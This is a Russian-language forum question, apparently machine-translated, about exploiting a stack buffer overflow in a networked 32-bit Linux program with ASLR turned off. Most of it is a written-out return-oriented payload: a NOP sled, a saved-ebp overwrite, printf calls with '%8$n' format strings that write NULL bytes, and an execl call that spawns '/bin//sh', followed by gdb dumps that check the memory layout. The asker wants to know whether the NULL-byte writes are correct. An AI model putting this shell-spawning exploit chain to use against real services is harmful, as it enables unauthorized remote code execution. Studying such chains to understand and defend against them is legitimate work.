Переполнение буфера стека - вопросы ROP и байт NULL - PullRequest
0 голосов
/ 28 октября 2018

Наличие уязвимой C-программы для переполнения буфера в стеке, работающей в 32-битной операционной системе Linux.После отправки оскорбительного кода по сети уязвимой программе система создает файл ядра.ASLR отключен с помощью:

# echo 0 > /proc/sys/kernel/randomize_va_space

Ошибка сегментации происходит в реальной и известной уязвимой функции, давайте назовем ее function_1.The backtrace.txt сообщает эту строку:

#3  0x0819daa7 in function_1

в GDBя ввожу кадр № 3 для проверки памяти:

(gdb) frame 3

Хотите узнать, сколько байтов нужно получить на обратный адрес.После некоторого теста я могу добраться до адреса RET.заполнив буфер 524 NOP плюс 4 * A.А перезаписывает сохраненный ebp, чтобы убедиться в этом:

(gdb) x/x $ebp
0xb6256888:    0x41414141

На данный момент я хочу обойти неисполняемый стек, записывая память с некоторыми полезными адресами (ROP).Вкратце я хочу заполнить буфер следующим образом:

524NOP | 4A | addr.printf() | addr.POP\RET | addr.%8$n | addr.printf() | addr.POP\RET | addr.%8$n | addr.execl() | addr.exit() | addr./bin//sh | addr./bin//sh | addr.at this point (ebp+44) | string /bin//sh (takes 8byte memory) | addr.at this point (ebp+56) | string %8$n (takes 4 byte memory) | \x00

отправка этого кода по сети:

"$(python -c 'print
524*"\x90" +
4*"A" +
"\x10\xa4\xc5\xb7" +    ;addr.printf()
"\xdd\x91\x06\x08" +    ;addr.POP\RET
"\xc4\x68\x25\xb6" +    ;addr.%8$n
"\x10\xa4\xc5\xb7" +    ;addr.printf()
"\xdd\x91\x06\x08" +    ;addr.POP\RET
"\xc4\x68\x25\xb6" +    ;addr.%8$n
"\x30\x59\xcc\xb7" +    ;addr.execl()
"\x60\x02\xc4\xb7" +    ;addr.exit()
"\xb8\x68\x25\xb6" +    ;addr./bin//sh
"\xb8\x68\x25\xb6" +    ;addr./bin//sh
"\xb4\x68\x25\xb6" +    ;ebp+44
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68" +    ;string /bin//sh
"\xc0\x68\x25\xb6" +    ;ebp+56
"\x25\x38\x24\x6e" +    ;string %8$n
"\x00\x00\x00\x00"')"

проверка памяти с помощью gdb:

(gdb) x/wx $ebp+4           
0xb625688c:    0xb7c5a410     ;addr of printf (taken from p printf)

(gdb) x/wx $ebp+8
0xb6256890:    0x080691dd     ;addr of POP/RET (see below)

(gdb) x/wx $ebp+12
0xb6256894:    0xb62568c4     ;addr of string %8$n
(gdb) x/s 0xb62568c4
0xb62568c4:    "%8$n"

(gdb) x/wx $ebp+16
0xb6256898:    0xb7c5a410

(gdb) x/wx $ebp+20
0xb625689c:    0x080691dd

(gdb) x/wx $ebp+24
0xb62568a0:    0xb62568c4

(gdb) x/wx $ebp+28
0xb62568a4:    0xb7cc5930     ;addr of execl (taken from p execl)

(gdb) x/wx $ebp+32
0xb62568a8:    0xb7c40260     ;addr of exit (taken from p exit)

(gdb) x/wx $ebp+36
0xb62568ac:    0xb62568b8     ;addr of string /bin//sh
(gdb) x/s 0xb62568b8
0xb62568b8:    "/bin//sh\300h%\266%8$n"

(gdb) x/wx $ebp+40
0xb62568b0:    0xb62568b8     ;addr of string /bin//sh

(gdb) x/wx $ebp+44
0xb62568b4:    0xb62568b4     ;addr of here (ebp+44)

(gdb) x/s $ebp+48
0xb62568b8:    "/bin//sh\300h%\266%8$n"

(gdb) x/wx $ebp+56
0xb62568c0:    0xb62568c0     ;addr of here (ebp+56)

(gdb) x/s $ebp+60
0xb62568c4:    "%8$n"

я получаю адрес POP / RET от одной из функций программы, скажем, от func2:

(gdb) disas func2
...
0x080691dd <+642>:    pop    %ebp
0x080691de <+643>:    ret 

Первый printf и его аргумент предназначены для записи NULL-байта при ebp + 44, мне нужно NULLбыть третьим аргументом execl ().

Второй printf и его аргумент предназначены для записи NULL-байта при ebp + 56, мне нужно NULL для завершения строки / bin // sh.

Мои вопросы:

1) Это правильный способ записи байта NULL в качестве третьего аргумента execl ()?

2) Это правильный способ записиNULL-байт для завершения строки, записанной в память, в данном случае для завершения строки / bin // sh?

3) printf и ее аргумент (addr из% 8 $ n) заменяет «записать NULL»найден байт по адресу памяти 8 DoubleWORD после аргумента printf "?

...